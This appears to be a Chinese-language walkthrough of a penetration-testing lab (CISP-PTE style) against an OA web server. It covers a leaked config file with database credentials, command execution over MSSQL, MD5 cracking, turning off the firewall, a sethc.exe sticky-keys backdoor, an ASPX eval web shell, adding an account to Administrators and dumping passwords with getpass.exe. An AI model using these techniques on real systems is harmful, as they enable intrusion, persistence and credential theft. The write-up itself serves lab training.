1.

远程地址：http://39.100.119.37:8088/

端口： 9999

答案在后台

信息获取：

前台有 有联系人‘天子’ 的信息，可能是管理员，爆破的话使用这个用户名

nmap 扫描ip 获得端口 9999

使用御剑扫后台 http://39.100.119.37:9999/

获取：http://39.100.119.37:9999/www.zip

web访问：http://39.100.119.37:9999/www.zip -》下载了压缩包

解压发现 Web.config

查看信息获得链接数据库信息

```
  <add key="ConnectionString" value="server=127.0.0.1;database=oa;User
Id=sa;pwd=pte_sa;"/>
```

使用sqltools连接，端口11433(nmap扫出来的)

执行 whoami -》是system权限

执行sql

查看数据库

select * from sys.databases

发现 tempdb ，应为修改时间在2019年，可能存放了key

select * from sys.tables

获得 OA_User|表和 Look_Me

select * from OA_User

获得用户信息：

```
Uid|Pid|Did|Position|Uname|Upwd                                |Uipaddress|Setting
|UpdateTime          |
1|4|0|管理员|天子|8411f96c0bdc5cb3fabd958c3627edf6||,user-show,us
```

在线解码网站：https://www.cmd5.com/

MD5解码： 8411f96c0bdc5cb3fabd958c3627edf6 ——》 woaini521

登录后台获得 Key6:arey8u4n

select * from Look_Me

key7|encq2mp8|

使用sqltools

执行net user -》发现拒绝访问，无net命令

netstat -an 查看当前服务端口 3389是打开的 （nmap扫不到表示防火墙打开）

关闭防火墙

net stop firewalled(关闭系统自带的防火墙)

netsh firewall set opmode mode=disable 关闭系统自带的防火墙 windows2012以下使用

netsh advfilewall set publicprofile state off 关闭系统自带的防火墙 windows2012以上使用

想办法获得管理员名称和密码：

方法1：sqltools连接上之后执行dos命令

dir C:\Users\Administrator\Desktop

dir C:\windows\system32\dllcache\

dir C:\windows\system32\dllcache\ |findstr net*

2007-02-17 06:43 42,496 net.exe

2007-02-17 06:43 127,488 net1.exe

获得 net.exe net1.exe文件

执行命令

C:\windows\system32\dllcache\net.exe

C:\windows\system32\dllcache\net1.exe

获得管理员用户名和密码

远程登录即可

方法2：shift后门

使用 sqltools，文件管理，替换 sethc.exe 制作shift后门

将cmd.exe或者explorer.exe 拷贝一份为 sethc.exe

#查找文件

```
dir C:\Windows\System32\ |findstr sethc
dir C:\Windows\System32\dllcache\ |findstr sethc
dir C:\Windows\System32\ |findstr cmd
dir C:\Windows\ |findstr explorer
```

#删除文件

```
del C:\Windows\System32\sethc.exe
```

#拷贝文件

```
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
copy C:\Windows\System32\cmd.exe C:\Windows\System32\dllcache\sethc.exe
```

or

```
copy C:\Windows\\explorer.exe C:\Windows\System32\sethc.exe
copy C:\Windows\explorer.exe C:\Windows\System32\dllcache\sethc.exe
```

然后 远程连接上去，连续按shift键，进入cmd或者 explorer命令

方法3：

```
dir D:\  发现oa在这里
dir D:\oa
```

使用echo 向 D:\oa盘写入一个aspx一句话

```
echo "<% @Page Language="Jscript"%><%eval(Request.Item["v"],"unsafe");%>" >
D:\oa\zt.aspx
```

查看是否写入：dir D:\oa |findstr zt.aspx

```
type D:\oa\zt.aspx
```

菜刀访问： http://39.100.119.37:9999/zt.aspx 成功

打开虚拟终端 乱码，修改编码为utf-8 即可

whoami ->不是system权限

提权：

```
net user
```

123 admin admin123
Administrator ASPNET cos
ghost gkq Guest
IUSR_CISP-PT IWAM_CISP-PT Lgd

lx SUPPORT_388945a0 test
tsl zhanghong zqf
zqf2

查看组： Net localgroup
*Administrators
*Backup Operators
*Distributed COM Users
*Guests
net user 修改 Administrator 密码
net user Administrator Zt12345@

Net localgroup Administrators Guest /add
提权失败

D:\oa\ 传入getpass.exe
sqltools中执行命令
D:\oa\getpass.exe
获得密码：
UserName: Administrator
LogonDomain: CISP-PT
password: qqq123

UserName: Administrator
LogonDomain: CISP-PT
password: gkq

远程登录，拿到key
key8{jnc7wc2a}